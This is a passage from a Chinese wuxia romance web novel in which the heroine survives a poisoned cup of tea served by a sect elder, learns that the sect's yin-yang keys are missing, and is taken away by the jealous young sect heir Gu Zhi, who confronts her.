南琼霜始终垂首等着,等到她觉得,“怎么也该开口了吧”的时候,上座的人,也还是没有开口。 她不敢轻举妄动,只是将额头更加恭敬地,贴在冰冷石板地上。 不知过了多久,慧德幽幽喟叹一声,“姑娘,请起吧。”手又往小几对面一抬,“请坐。” 她哪里敢坐,只怕他不知又要在何处试探她,只是直起身子,依然跪在地上。 慧德竟又重复一遍,“请坐。” 她沉下一口气,小心翼翼起身,恭敬在蒲团上跪坐。 慧德:“姑娘,请喝茶吧。” 她垂下眼,那清茶乃是浅碧色,剔透如凝固的琥珀,其中两三片茶叶,沉在杯底。 这茶,从方才她进入菩提阁时,就已经在几上斟好。眼下,已经放的有些凉了。 她握住那莲瓣白瓷盏,指腹习惯地在杯缘摩挲两下,忽然却停住了手。 有些不对。 这杯缘有粉末。 慧德端起杯盏啜了两口,提起茶壶,自己又将茶盏斟满,透明的茶水热气腾腾。 她微不可见地笑了一下,“既然奴婢身上背着嫌疑,不知该如何配合山上调查?该去寻哪一位?是记录口供,抑或有专人问询?” “姑娘不必着急。” 她摇摇头,眸光恳切又愧疚,捂着心口,“奴婢在山上本是借住,这些日子,已经添了许多麻烦,眼下又背了叛贼同党的嫌疑,心中实在焦急。只求长老着人查我,以使我洗净冤屈。” “这些事情,姑娘不必着急。该查的,老夫自然会查。”语气重了些,手却又一抬,“姑娘,喝了茶再说话吧。” 她垂眸,掩去眼中讥诮神色。 想拿这种手段暗害她,竟然如此明目张胆,甚至懒得找个借口敷衍她一下。 这是当真没把她放在眼里。 她乖巧应下,垂首捧起茶盏,望着他那双刁钻的小眼睛,笑道,“谢长老赐茶。” 仰头,一饮而尽。 慧德冷眼看着她喝完,将杯放下,只是静默,不说话。 她笑:“敢问长老,为何看……?” 话未及说完,余下的字吞没在难以自控的呜咽和汹涌翻上来的鲜血里,她求饶泣道,“长老……” 慧德披着一身朱红袈裟,掌中佛珠一颗颗拨过,默然不语。 对面,她颓然瘫了身子,伸长了脖颈竭力喘息,却只从唇边拉出一条浓稠的血线,滴落下来,沾满衣襟。 * 琥珀色的澄亮酒液中,倏地滴入一颗绯红糖浆,缓缓滑入杯底,拉出一条血一般的红痕。 他眉梢忽然跳了跳。 “瑾哥哥,这道菜你也尝尝。” 一只纤纤素手,涂着鲜亮的朱红蔻丹,腕上一只清透的翡翠镯子,盛了一碗山楂糖水,递到他面前。 “这道菜的名字是,‘雪化山里红’。” 衡黄指间牵着云雾一般的层叠披帛,两手合掌贴在脸侧,乖巧不已地小动物一般把脸靠在手上,眨眨眼睛,“瑾哥哥当年就不爱吃,眼下再试试?” 他望着衡黄耳下那一对摇晃不已又鲜艳欲滴的丹朱色水滴耳坠,垂下长睫。 这种时候,第一个想起的,竟然是那个夜晚,她坐在阶上,灯笼错落,明灭摇动,她在中间,捧着那碗山楂冰圆子。 他笑道,“我倒是素来不喜欢山楂。” “你尝尝嘛。黄儿最喜欢这 个,你不可以不喜欢。”她嘟着嘴撒娇。 他觉得有点好笑,“姑娘喜欢,为何我就非喜欢不可?” “就是非喜欢不可。”她端起碗来,舀了一勺,送到他嘴边,“我喜欢的东西,瑾哥哥必须得尝尝,不然我就不喜欢你了。” 他忍俊不禁地笑了一阵,“不喜欢我?”那又怎样,这小姑娘到底在说什么。 衡黄还当他是拿她无可奈何,因而宠溺不已,又将那白瓷勺往他唇边送了送。 他只是似笑非笑,又往旁边微微侧首,“顾某确实不喜欢这个味道,姑娘别勉强我了。” “不行!”她跺了跺脚,一双杏眼又娇又嗔地瞪圆了,“快尝尝。要不,我先尝给你看。” 说着,低下头,朱唇圆启,将那晶亮的山楂球整个舀进嘴里。 一不小心,连鬓边的碎发也落了几根在汤勺里,一并进了口中。 他凉着神色,默默往旁撤了几寸。 她抬起头,手指将头发从嘴里拉出来,一双眼睛兴奋泛着光,“好吃的!不酸,是甜的。这可是拿冰糖熬煮过的,煮好后,又静置了四五天,你看这糖浆已经如此粘稠——” 他瞥了一眼她鬓边闪着光的发丝,又垂下眼,白瓷勺上如今印了一圈鲜艳的朱红,那是她的口脂。 他笑而不语,摇了摇头。 衡黄又将那勺子伸过来几寸,“你再这样子,我要生气了!” 他笑了一声,忽然想起李玄白那一句,“作得无法无天的,也就他这样的好脾气受得住”。 怎么?好脾气就应当这样被呼来喝去的吗?今天用,便今天搬来,明天别处用,便搬去别处。没用的时候,再放在思过崖底下罚罚。 师叔有时也是当真过分。 他摇摇头起了身,“顾某不胜酒力,不能再陪姑娘,请衡姑娘和诸位长老容我回去休息。”说完,不顾满席惊讶挽留,走出席位便要迈步。 衣袖却忽然被人扯住了。 他回身,坐在他身侧的人,满面委屈、惊慌、不甘,一双水眸里波光粼粼,“怎么?瑾哥哥,我的话你如今不听了?你不喜欢我了?” 他笑了,“怎么,现在一个个都要顾某听话?” 说完,目光在她那对朱色耳坠上又转了一瞬,面无表情收袖转身。 他的脾气,其实鲜少过分喜欢一个人,也并不会特别厌恶什么人。 能仅凭一只耳坠,便使他烦躁厌恶到如此地步,甚至连带了相似耳坠的人都一并讨厌的,这么多年以来,也就只有那一个。 “等他成婚那天,我们成婚”?! 李玄白那小子疯了,胆敢口出狂言?! 他冷笑一声,满堂主宾见这位江湖上以好脾性著称的贵客,神色竟然如此阴厉,一时竟全不敢出声,不知是哪里招待不周,只得面面相觑。 他神色冷淡,浅浅拱手行礼,道了一句,“顾某失礼。”众目睽睽之下,拂袖而去。 他也看出这衡黄对他有些情意,但他没有。 女儿家的面子总是比较薄些,当面对她说,恐怕会太冒犯。他明日便会对衡青南衡掌门讲明。 然后,明日回山。 第52章 绣着曼陀罗花纹的锦帘猛地被人撩起来,李玄白低头进了门,“师父!” 珠帘内,一个羸弱身影挣扎着软倒下去,殷红的血从下巴尖一直淌进领口,直直向下拉出几根红柱,鲜亮着濡湿了雪白衣裙。 李玄白冲了过来,头上一连串珊瑚珠子乱甩着相击,两步过来蹲下扶住了瘫倒的人,圈在怀里,“师父,您这是做什么!” 慧德坐在对面,神色如常,身后雕窗里,兀地扑扇过几只下人饲养的白鸽。 “此事同老夫可不相干。”慧德啜了一口清茶,拈着杯盖刮着杯子边缘,刮得丝丝作响,“你小子不是练功去了?这么早便回来。究竟有没有仔细练?” “练功?!师父还在这里同我讲练功?!” 慧德冷瞥他一眼。 李玄白一双眼睛几乎泛着薄血色的脆光:“师父为何要为难她?!她又犯了什么错?!” 慧德耷拉着眼皮吹了吹茶沫,不答。 南琼霜将新翻上来的血沫勉强吞咽下去,抬头望着他,泪滚下一颗,拍了拍他搂着她的手。 李玄白低下头来,她含着泪,神色却冷静莫测,看着他,缓缓地,摇了摇头。 他当即会意,抬头阴戾剜了上座人一眼,抱着她,站了起来,几步就走到了门口。 慧德坐在窗前,老得几乎根结盘错,背后天光将他脸上沟壑映得更深,唯有一双眼睛,亮得刺人。 他道:“玄白。你如今,是在怪师父吗?” 李玄白正欲跨过门槛的脚猛地停住。 片刻,他将脚收了回来,在门内稳稳站定。 慧德坐在珠帘内,从门口看去,侧着身子,看不清楚表情。 李玄白嗤笑一声,语调轻漫懒散:“……慧德老儿。” 慧德在罗汉床上端坐,闻言,竟然丝毫未动,手攥成拳搁在膝上,只有一双眼睛,瞪圆了,漆黑而不祥地窥过来。 李玄白却轻笑着,绑了绑略微松开的袖口,淡金色日光将他嚣张眉眼映得锐不可当,“敬你三分,少真拿自己当个东西了。” 又叹口气,“啊,我知道了,我的事情八成是只有顾清尧全知道吧。”懒洋洋耸肩,“那么,你等顾清尧出来问顾清尧吧。我只劝你一句——” 戾气横生:“老东西,忌惮着点。” 说完,看也未看慧德一眼,将一步路也走不了的人拦腰抱起,抬步跨出了菩提阁。 * 凌绝阁内。 南琼霜伏在榻边,长庚送上来一个铜盆,她在那盆里呕得昏天黑地。 尽是鲜血,几乎呕了一盆,整个凌绝阁内都泛着发腥的血气。 不知过了多久,她捂住胸口,长庚递来一盏温热的清茶,她草草漱了口,涮去满腔腥味,吐在那铜盆里。 终于,顺着气,面色苍白如纸,微微气喘着,靠在床头软枕上。 李玄白坐在她榻侧,递给她一张帕子,“吐干净了?” 她额上满是虚汗,眼前仍是一阵一阵的茫茫黑暗,连接帕子的力气都没有,浑浑噩噩地点了头。 长庚端着铜盆出了阁,李玄白又往她身侧坐得近了些,拿着帕子,替她将额头和鼻梁的虚汗拭去了。 “你这人,到底用的什么损招,把你自己伤成这样?” 她仍在天旋地转,说不了话,乌紫的唇抖了抖。 忽然唇上抵了一个东西,她的两片唇瓣被顶得分开了,塞进来一个东西。 是荔枝。 李玄白坐在她身边,榻上放了一只小瓷盘,骨节分明的手一片一片将荔枝皮剥了,送入她口中。 她艰难咀嚼了两下,丝丝糖水冲淡了残余血气,长出一口气,睁开眼睛。 “我早看出那茶水里有问题。但慧德逼我,我不得不喝,于是两害相权取其轻,自己先放了一点药。” “……放了一点药?什么药?” “断青,一种发作极快的毒,呕血不止,我原本是备着有其他用的。” “所以?你自己给自己下了点断青,这药发作得比茶中的毒快,于是借着呕血,将胃里的茶水一并呕了出来?” 她又咳嗽起来,捂着唇,面容灰白如纸,点了点头,“断青的解药,我随身备着,所以不妨事。” “‘不妨事’。”李玄白抱着肩膀,冷笑着重复了一声,“你倒心宽。” 垂下眸,又剥了一颗荔枝,往自己嘴里一丢,“也算你聪明,晓得临去之前叫长庚通知我来解围。不然,说不定人已经被慧德埋了,我要找你,得借条狗。” 她气得笑了一下,这是什么话?摇摇头,不想再说这些:“我问你,你今天做什么去了?” “不是跟你说了?当然是练功。” 果然如此,她冷笑一下,看向窗外。 如今已经到了黄昏,从凌绝阁的窗户看出去,正是苍穹朗阔,云翳粼粼铺了满天,金色日轮掩在几缕云后,辉耀万顷。 她长出一口气,望着那落日道:“他跟我说你被抓了,说你去星辰阁偷了《天山心经》。” “放屁。”李玄白嗤笑一声,又剥了一颗荔枝放在她嘴边,“那玩意有什么好稀罕的?给我我都不要。还大老远跑去偷?真是敝帚自珍,叫天山派自己留着吧。” 她默然不语,看了他半晌。 “怎么了?”他十分不耐。 这人, 绝不只是简单的细作。 甚至,他不是细作。掌门闭关,慧德便是山上最有分量之人,能为人所知的他肯定知晓,不能为人所知的他也不会一点不知晓,没有人会把虚张声势这一招用到慧德头上。 李玄白,一直以来如此横行跋扈,恐怕不止是因为受宠。 南琼霜只觉得连指尖都泛起凉意,心神不定地拢了拢五指。 当时,一时兴起招惹了李玄白,究竟是对是错? “怎么了?”他又问了一遍,开始烦躁起来。 她叹了口气:“他跟我说,你偷了《心经》,被抓了现行,人已经上了涟雷台了。但又说,已经查过了我,说我并没有嫌疑,因为有人瞧见我去了两仪阁。” 他垂眸,望着自己手掌,静静听着,不知在想什么。 “两仪阁,那是什么地方?” 他笑了起来,意味深长地抬起眼,“他说你去了两仪阁,你怎么说的?” “我傻吗?”南琼霜嘲了一声,“山上人巴不得我有嫌疑,就是没有,也会说有。他岂会将我摘出来?摆明了的圈套,谁会往里跳。” 李玄白大笑起来,有些无奈,又叹服不已,一边摇头一边鼓掌,“也真是个聪明的。怪不得老子喜欢你。你可知道,他问这话是什么意思?” 南琼霜洗耳恭听。 “山上的星辰阁,你听说过吧?星辰阁,有三种开启方式。” 他竖起三根手指: “第一种,便是化龙潭地宫底下藏着的星辰阁钥匙。” “第二种,是山上可打开一切机关的镇山玉牌。” “第三种,是慧德亲自保管的阴阳钥。” “如今,化龙潭地宫那扇生门正在修缮当中,潭水尚未引回,因而无法保管那把钥匙。潭底的钥匙,如今正锁在星辰阁内。” “镇山玉牌,原本应该是由那个姓顾的保管。但他下山去了,那样贵重的东西带下山并不方便,据说临下山前,他亲自将那玉牌,也锁进了星辰阁。” “眼下,留在星辰阁外,能够开启星辰阁的,也就只有那一把阴阳钥。山上惯例,星辰阁钥匙唯由顾氏一脉保存,只是如今慧德暂行执掌全山之权,便为他专门打造了一把。然而顾氏又恐慧德存不轨之心,于是将钥匙一分为二,两半凑在一起,方可开启秘阁,是为‘阴阳二钥’。” “所以?”她笑着接,“那阴阳钥保存在两仪阁内?” 李玄白打了个响指。 她再道,“你别告诉我,那阴阳钥丢了,现在正满山找去过两仪阁的人。” 李玄白笑了一瞬,又打了个响指,“真聪明,讲话真容易。所以说,我喜欢聪明人。” “所以,”她道,“当时慧德非说我曾去过那两仪阁,倘若我应下,那这桩罪,不是我,也会扣在我头上。” 李玄白点头,“正解。” 她又问,“既然阴阳钥是一对钥匙,那是丢了一只,还是一双?” 李玄白将荔枝核吐出来,“当”一声扔进瓷盘里,“那我就不知道了。不过瞧那老头的架势……”笑了一下,“不妙。” “并且,还有一件事,你知不知道?”他道,“那一双阴阳钥,并在一起,可开星辰阁;单独一把,便可开那日我指给你的九曜逆轮。那老头现在都急疯了。” 她笑道,“这样重要的钥匙丢了,你一点也无所谓?” “跟我有什么关系。我巴不得全山一把火烧了才好。”他摊开手。 南琼霜凉凉笑了一声,多少有些心有余悸。 “慧德是当真不打算容我了,”她将长发捋到右胸,以靠得更自在一些,“我以后在山上的日子,只怕会更加难过。” “怕什么?”李玄白又剥了颗荔枝,抵在她唇上,“你在山上最多也就只剩一个多月。” 她更加沉默。 “我说,一个月以后,你打算去哪?” 李玄白手肘支在膝上,坐在她床前,懒散支着腮。 窗外落日又往云海深处坠了些,余晖更盛,映进阁内,满室生辉。 她沉吟着,给不出答案。 去哪?她若是个能够自由来去的身份,倒还好了。 薄金色的日光里,李玄白的发梢、衣领,剪裁利落的弟子衣和佩剑,俱刺上了一圈细细的金丝。 山风穿堂而过,清甜甘冽,他碎发轻轻扬起,那颗红色的耳坠一点光芒闪烁,随风摇晃。 他事不关己似的,撑腮道:“楚皎皎,老子喜欢你。” 她侧首,直直望进他眼睛里去。 对面人一双狐狸眼艳肆惊人,然而他自己似乎浑然不觉,只是懒洋洋地,眨了一眨。 他道: “我说,同我一起下山吧。” 第53章 顾止回到房内,吹熄了灯。 然而,却未上榻,只是坐在桌前,黑暗里,缓缓揉着额心。 今日一天,疲于应付。他这般人情世故应对自如的人,也觉得筋疲力尽。 或许,是早上出山门时,就疲乏不已,心烦意乱,一句话也不想多说。 他叹口气,自袖中缓缓摸出一个细而坚硬的东西,对着月光照了照。 是她的簪子。 她搬走了,那间房里再也没有人在花窗下休憩,一切空空如也,冷硬寂静,仿佛那个笑意盈盈的人从未来过。 一点东西,也没有留给他。他将整间房里里外外寻了三遍,也就只找到这支簪子,和她一罐即将用尽了的口脂。 他将那支簪子在唇上贴了贴,低低道,“皎皎。” 黑暗里,他缓缓闭上眼睛。 现在在做什么呢?跟李玄白在一起吗? 把她送入凌绝阁,是为了使她免遭师叔的毒手。可是,或许是另一种羊入虎穴,也未可知。 可是,也未必吧。 他忽然睁开眼睛,出神抚摸着那冰凉的簪子。 如果,她也喜欢李玄白,那就不算入了虎穴。 那算他成人之美。 他笑了一声,却发觉胸腔里头空空荡荡的,仿佛胸口漏了个洞,四面八方往里灌冷风。 他缓缓地、无力地,捂住脸。 真不明白,这些人,都喜欢那李玄白什么。 为什么每次都是他。 皎皎。再见到她,他会直接问。 不管她愿意不愿意。或许她不会愿意,那也没关系,那样娇弱的人,只要拉住她,她就走不了。 要把她拉到他身前,箍到他怀里,好好问问,凭什么。 他想吃枣子,不能自己吃吗?何必用手拿着去喂他? 成婚?李玄白素来是脑子有病,但她怎么也糊涂?狂妄之人,如何托付? 还有那根箫。 放在嘴上,吹得那样自如。他们是不是已经…… 是不是已经…… 胸口猛地绞痛一瞬,仿佛被人用钳子掐住一块心脏,又旋转着拧了半圈。 痛得他几乎咳了起来。 他咳得难以自控,仿佛是发了肺病的人,脑子里似乎有什么东西非爆裂开来不可,连太阳穴都突突跳着,他简直怕下一秒头骨就崩碎了。 不能再想了。再想,也只是折磨自己。 再见面,他会问。 不管她……愿意也好,不愿意也好。怕他也好,不怕也好。 她答,他就放过她。 不答,就抓住她问,什么方法都好,问到她答为止。 但,如果她的回答,不是他想听到的答案…… 他不敢想。 至于其他的,他笑了一下,这山上哪有什么公平之事? 师叔把他打发到这来,强逼他跟母家的衡黄联姻。他对她一点意思也没有,结果两边竟然一拍即合,直接越过了他,甚至都开始商议起了婚期。 拿他当什么?谁在乎过他自己的意思? 师叔竟也好意思罚他偏私。 他垂下长睫,讥讽地冷笑一声。忽然竟想起李玄白那一句,“有什么不得不从的?被师父压成那个样子,不还是你自己选的?” 其实,他说得对。 是他自己选择了听从,他本也可以不听的。 就像今日这般情况,他本不愿意,只是瞻前顾后、 畏首畏尾,因着心里有愧,逼自己应下。 可是真应下了,心里又恼,又悔,又不甘。心烦气躁地拉着脸离席,该得罪的人还是一样得罪了。 最后憋着一肚子无名火,连撒都不知道去哪里撒。 下次不如一口回绝。 反正师叔也并不是什么秉公无私之人。反正大多数事情他仍是问心无愧。反正早得罪也是得罪,晚得罪也是得罪,不如一早讲得透彻些,至少落个夜晚安枕。 他早已仁至义尽,忍得够了。 想到这,他目光沉沉,将那银簪捏在指间,上了榻,摩挲着那支簪子睡了。 第二日醒来,却是被敲门声惊醒的。 拉开门来,是昨日帮他铺床的阿度。见了他,吓得“啊呀”一声,“顾公子怎么脸色这样差?昨晚睡得不好?” 他眼下挂着两团青黑的眼圈,不可置否,“什么事?” “天山上送来了急信。八百里加急。” 他将信接过来打开。 说是山上阴阳钥丢了,叫他回去处理。 他道,“知道了,谢谢你。” 师叔也当真是有趣,无事的时候,把人卖到山下伺候自己家外甥女,有事的时候,又一封信把人叫回来,给他忙前忙后。 “衡掌门可起了?”他道,“山上有事召顾某回山,顾某先去道个别。另外,也有些话需与掌门说开。” * 同衡掌门将一切清楚讲明,紧赶慢赶,傍晚,就到了天山脚下。 站在山门底下,顾止屏息闭了闭眼,略微抚平了胸中燥气。 守望塔里的门侯张信世代守门,顾止年少时经常下山,次次都要劳烦张信,加之他也不喜端架子,一来二去,也成了熟人。 张信从塔底下探出个脑袋:“少掌门,今日脸色怎么这样差?可是路上劳顿,没休息好?” 他闭了闭眼,勉强笑道,“山上事多,睡不踏实。” “少掌门可要仔细身体才是!若是身子垮了,便是兜里有个金山银山,也不值当——”大力将门摇开。 顾止揉了揉眉心,朝他客气颔首,步入了缓缓打开的巨门。 巨门之内,许是他回来的太仓促,无人迎接。 他暗自松了口气。 一大早,已经有两茬人见了他便惊呼脸色不对。他脸色如今那么差吗? 不过是昨晚,梦见了凌绝阁内,李玄白强迫她……接了个吻。 他眼中戾气转了一瞬。 阴阳钥的事,谁弄丢的,谁先处理吧。 他倒是有些事,再等便心焦,非去看看不可。 * 凌绝阁内。 窗户大开,凌绝阁乃是建在高崖之上,两面窗子一并打开,便穿堂风呼啸,简直要将人从房间里卷走。 李玄白又不知去了什么地方练功,她自己一个人坐在窗下的罗汉床上,百无聊赖地转着他那把象牙白玉扇玩。 据说,洛京城中的舞姬,能将两柄比这大得多的扇子甩得圆面一般,两手抛起,交换接住,利落如落花流水。 她转扇一周,哗地打开,往上一抛。 忽然伸来一只手,山风携来两瓣花片,落在那人衣袖上,掌心向上,宽厚手掌将那扇子稳稳接住了。 握在手里,阖扇。 顺着衣袖看上去,饶是她也惊了一瞬,“公子……?” 昨天才目送着离开的人,今日傍晚便在她床前负手而立,窗外日光斜照进来,将他长衣映上一层淡淡的跃动的金,他眉目疏离,冷淡颔首: “姑娘。” 她错愕着,“公子不是昨日才离山吗?今日便回来了?” 顾止:“有些急事。” 有急事来寻我做什么?神出鬼没的,平白惹人惊讶。 她眨眨眼,将扇打开了,有一搭没一搭摇着,“那公子来凌绝阁是……?” 他忽然道,“怎么脸色这样白?他欺负你了?” “谁?”这话说得她一愣,俄而笑了,“不是,昨日……昨日长老叫我过去说话。” 他眉头拧起,“师叔?” 她点点头,作出一副柔弱又为难之色,“在长老那里喝了杯茶。回来以后……大概是身子不好,吐了两口血。” “吐血?!”他拨开挡在她面前的白扇,仔仔细细在她脸上惊慌打量了一圈,须臾垂眸,思量片刻,“皎皎,跟我走。” “去哪?”她心想,这人今天不大对劲。 “回我那里。”牵着她的胳膊,回身欲走。 “诶!”她抽回胳膊,拿着扇子在他手上敲了一下,“今晚我同李玄白说好了去玉环台上看星星哪。公子回吧。” 他顿住脚步,沉默半晌,站在原地,只是呼吸轻轻。 再抬眼看她的时候,那脸色简直如山巅冰雪,既无血色,也不近人情。 长睫黑漆漆压着:“皎皎,跟我回去。” 那样毫无商量余地的强势神情,她几乎从未见过。 今天这是怎么了?不是一直同她好说好商量,不论对谁,都叫人如沐春风吗? 她敏锐地察觉到,今日或许有机可乘。于是又往罗汉床内坐了坐,看着他,一字一顿: “不回。” 他竟然笑了一瞬,“皎皎。” 跨了一步,膝盖紧贴着床,仿佛下一秒,就要屈膝上床来捉她。 平日那样温柔雅润的人,目光近乎寒凉慑人,仅仅是不远不近地将眼神投过来,就压得她几乎喘不过气。 她不自觉连呼吸都放轻了,仿佛凫水的人忽然见漆黑的海泛起泡沫,再擅于游水,心里也不安。 他今日不大对劲。 整个人都不大对劲。脸色憔悴,眼尾泛红,神色茫然而凄怆,整个人失魂落魄,几乎颠三倒四。 她道,“公子……你喝了酒吗?” 他凉凉笑了下。 要是真喝了酒,倒还好了。至少今天这一切,他还有得解释。 “跟我回去,听话。”他将声音有意放轻了,体面伸出一只手,“星星,我也可以陪你看。” 她垂下眼,望着伸到面前的那一双骨节分明的修长的手,心里却想,今天是个逼他一把的好日子。 第54章 她摇摇头,“恐怕不行,我同玄白公子说好了的。” 顾止闻言,出神沉默许久,不知在想什么,人几乎成了一尊眉睫结霜的雕像。 长睫乌压压低垂,他那神色,迷惘而凄哀,然而似乎害怕自己整个崩塌,故尚不允许自己过分心伤,平静道: “皎皎,我不是在同你商量。李玄白性子太差,你跟着我比较好。” “不是性子好坏……”她又摇了摇扇子,“公子今日是怎么了?平时说话都好好的,怎么下山一趟,回来就这样对我讲话。” 顾止默了一瞬,垂下眼。 她装着委屈道,“对谁都好声好气的。大师姐哭了,也忙着送帕子;山下的小姐任性呢,也都笑着受了。到我这呢,就这样子,连……” “谁笑着受了?谁送帕子?” “就你啊。连我今日在此,不也是公子亲自安排,送到这里的吗?我前一晚还为公子治伤,看着公子的伤还哭了一鼻子,结果第二天,莫名其妙地就将我推来这里了。”她将扇啪地一合: “眼下我终于在此处住得习惯了,不愿意换了。公子待人接物向来温和,为何今日如此强求于我?” “强求……”他语气哽了一瞬。 “怎么对我,就这样不留情面?” 顾止几乎是晃了晃,缓缓闭了眼睛。 许久,他艰涩道,“皎皎,我只强求你这一次。” 又将手伸到她面前,一种卑微的强势,“跟我回去,好吗?” 她在床上,心神不定地曲起膝,抱着膝盖。 他神色愈发不对了,眼中混沌得几乎恍惚,小心翼翼,却又戾气横生。 他竟也会有戾气? 玩弄人心的人,最该敬畏人心。如果聪明,她该应下了,他眼下真的不大对劲。 可是她兴致上头, 竟然恋战,“不好。” 顾止一双黑眸里流转不停的燥气骤然滞了一瞬,下一秒,神色倒是平静如常,只是上了床,不由分说地手穿过她膝弯,将她一把捞起,不顾她惊呼,踏着窗棂就跃上了崖底那棵花树,三下五除二,借力一蹬,两人倏地窜上天空。 南琼霜方才还在床上玩着扇子,下一瞬竟然就悬在悬崖紫云英花海几丈之上,磅礴山风打得她脸上几乎痛了起来,“公子!” 忽然却听见两侧一阵飒飒破空之声,不知什么东西,三五成群地窜上高空,将两人围在中间,未及她反应,又是一阵诡异的嚓嚓声,四面一看,周身竟围了一圈8字形的东西。 她眨了两下眼,才意识到那是天山派的珠子。 李玄白怒极:“你他妈疯了,敢闯我的住处?!” 顾止笑了,“这感觉如何?” 李玄白:“把人给老子放下来!” 手一挥,空中五六颗珠子拖曳着橄榄形的残影,四面八方围击过来。 望着他那愠怒神色,顾止苍白面容终于有了一丝笑意,双手揽着她,周身珠子却如流弹一般四面穿梭,精准地与袭来的珠子摩擦相击,又在空中随意蹬了几步,仿佛踩着天阶一般,行云流水踏上了地面。 李玄白弹剑出鞘,一截雪光倏然窜出来,冷笑:“放人。怎么?想娶小媳妇没娶回来,又惦记上别的了?” 顾止很好脾气地低头对她道:“皎皎,有些人有些话不必听。”抬步便走,几颗珠子叮叮叮挡住背后追来的残影。 李玄白气得笑了:“让你走了吗?送人接人难道还都顺你的意?你当我这里是什么地方?” 顾止只回身,凉凉道了一句:“李玄白,那件事,你脱不了干系,别以为我不知道。” 李玄白一怔。 几乎是瞬间,他周身那股谁也不服的嚣张气焰骤然刹住,整个人仿佛一团被锅扣住了的火,逐渐熄了。 他冷笑一声,“你小子,放什么屁。” 顾止理也未理,抬步便走,抱着她,自李玄白面前从容而过。 南琼霜见两人终于不吵了,如蒙大赦地松了一口气,望着他绷紧神色,道,“公子,我能走,放我下来吧,人家瞧见不好。” 他自嘲一笑,“瞧见?这山上,还有谁看不明白?” 她不说话了。 到了暮雪院,院内众侍仆见了才走了一日的少掌门突然折返,自然是一个比一个更惊讶,全面面相觑着悄悄放下手里的活,偷着往这边打量。 顾止在众人惊诧目光里,坦然抱着她穿过院子,径直进了她原本的房间,将人小心放在榻上:“姑娘的东西,前两天收拾走了,我现在叫人拿回来。” 她点头:“好。” 他走出门外,对着廊下的侍仆吩咐了几句。 她原本以为今日她被强带回来,这事就算结了,不想,他竟很快去而复返。 甚至,不仅回来,进了屋,便神色冷寒着,将窗一扇扇关了。 原本就不算宽阔的房间,窗子每关一扇,湛蓝天光便被掩去一点。不是点灯的时辰,窗关了,便满室昏暗。 关了最后一扇窗,顾止又走去,吱呀——一声,将门关上了。 房间内顿时只余一些窗棂筛落的光。 南琼霜坐在榻上,一时竟然心神不定,缩进床榻的一个死角,靠着墙抱膝。 她怎么觉得,这人今天,这样不对。 把门窗都关了,是什么意思? 大白天的,孤男寡女掩门阖窗,共处一室,这是当真不在乎山上流言了? 关了门,顾止转身回来,面无表情地拿起矮柜上的一只苹果,从袖中摸出一把匕首,自顶端开始削起。 一圈圈削着,垂眸,不说话。 他不说话,她反而有点忐忑。 他这样子,怎么看怎么不正常。她是玩弄人心惯了,最知道人在这个状态,须得万分小心。 既然如此,不如由她来控场,把形势把握在她手里。 于是开了口:“公子……方才同玄白公子说的‘那件事’,是指?” 许久,他道,“这件事情,本不该对外人说。不过,既然皎皎……”他阖了阖眼,似乎是极力压抑着什么,“那还是说给你知道为好。” “我提醒你离他远些,是有缘由的。”他垂着眼眸,不看她,“他杀过人。” “众目睽睽之下,在弟子大比的试炼场内。试炼场只是练功之地,不许伤人性命,他却因为一些琐事过节,用偏门法子杀了弱他不少的师弟,不止一两次。” “我一直觉得此事有蹊跷,却并无证据。直到去年,又有弟子在与他对决之后暴毙,我才终于发现了一些门路。似乎是一种蛊。” “你知道的,蛊乃邪术。何况这些人与他的过节,至多不过见他受宠得过分,当着他面骂了几句,竟然就被他报复至此。这般睚眦必报的一个人,皎皎,我不明白你为何整日与他在一处。” 说完,不去看她,只是将那苹果切成小块。 南琼霜心下了然。 不过,杀人? 她与人交往,最不介意的就是这事。 她玩着扇子——李玄白的扇子,她方才竟然不小心带来了,“我没有整日与他在一处。” “没有?”他用银叉插了一块,递到她唇边,喃喃重复,“没有?” “膝盖受了伤还未好,就非要与他同去化龙潭。千辛万苦把你救了出来,没修养几天,又跟他去了无垢泉。才刚因为烤鱼被牵连,转过头就纵容他……纵容他……” 说不下去了,苹果抵在她唇瓣上,微凉的,颤抖着。 她觉得有趣,在那脆苹果上咬出一个月牙,笑,“纵容他什么?” 粉润的唇,咀嚼着。一点点苹果的汁液,晶亮的,沾在她唇珠上。 苹果的声音那样脆,咬下来,咔擦一声。 他对着那半块苹果看了一瞬,面无表情,放进口中。 她愣住了。 “……我要下山,也没见你来送,只跟那人在树枝上笑盈盈地看。”他侧首,毫不在意一般转开眼神,“在那树枝上,又聊了什么?我都听见了。我要走了,你很高兴?是不是把你送去凌绝阁你也很高兴?高兴什么?说话。” 她有点无奈,“公子,不是你把我送去的吗?” “怀瑾。”他忽然道。 “公子……?” “怀瑾。” 昏暗房间里,他周身气息那样压抑不妙,胸口不正常地起伏着,脸色却平静无波,只是出神一般,把玩着那把匕首,不看她。 她故意道:“公子。” 刀光一闪,他忽然在食指上划开一道血痕,霎时涌出丝丝的红血来。 他面无表情,大拇指和食指捏在一处,指腹彼此摩挲,玩自己的血。 重复了一遍,“皎皎,怀瑾。” ……她这时才恍然惊觉,顾怀瑾其人,骨子里或许不大正常。 她咽下胸中不安,“怀瑾。”拿过他的手来,温柔道,“你这是做什么?” 其实不是不小心。但是他说:“我不小心。”又补了一句,“你不要学。” 她不说话,两只手把他的手捧在眼前看,他一丝反抗也无,顺从由着她。 忽然说了一句:“下次,不能在那么高的地方坐。” 她一时没明白:“什么高的地方?” “树枝。”他仿佛连看她一眼也不愿意,“看那一眼,我吓死了。你不会轻功,不像他,自己不知道吗?从来也不懂得爱惜自己,当日地宫内也是……” 后面的话却忽然全噎进了喉咙里。 她抱 着他的手,长睫翕垂,温和又耐心地,轻启着唇,往他受伤的手指上徐徐吹气。 轻而虚的微风,带了一点她唇间的花香,扑在他手指上。 鸡皮疙瘩一路蜿蜒爬到骨髓里,他麻木着倒了下去。 南琼霜抬头,“公子……”恍然改口,“怀瑾,怎么了?” 第55章 顾止猛地伸出手,在榻上撑住了自己,几乎开始喘息。 垂下头,右手缓缓捂住了脸:“无事。” 另一只手,依然任由她捧着。 南琼霜玩着他的手指,指腹在他宽厚掌心刮着,心里想,这可不像是没事。 难道她吹了一下,他便喘成了这个样子,竟然倒了下去? 不至于吧?再怎么未经人事,也不至于敏感到这地步。 倘若吹一下他的脖子呢? “皎皎,”对面的人忽然又开了口,手拿了下来,隐忍攥成了拳头,“我还没问完呢。” “问什么?” “为什么?”他轻轻的。 “什么为什么?” 他抬起头来,看着她。 这还需要问吗?连这……还需要问吗? 有些东西,亟待她向他解释一下,她有这个责任,她应当解释一下,她不明白吗? 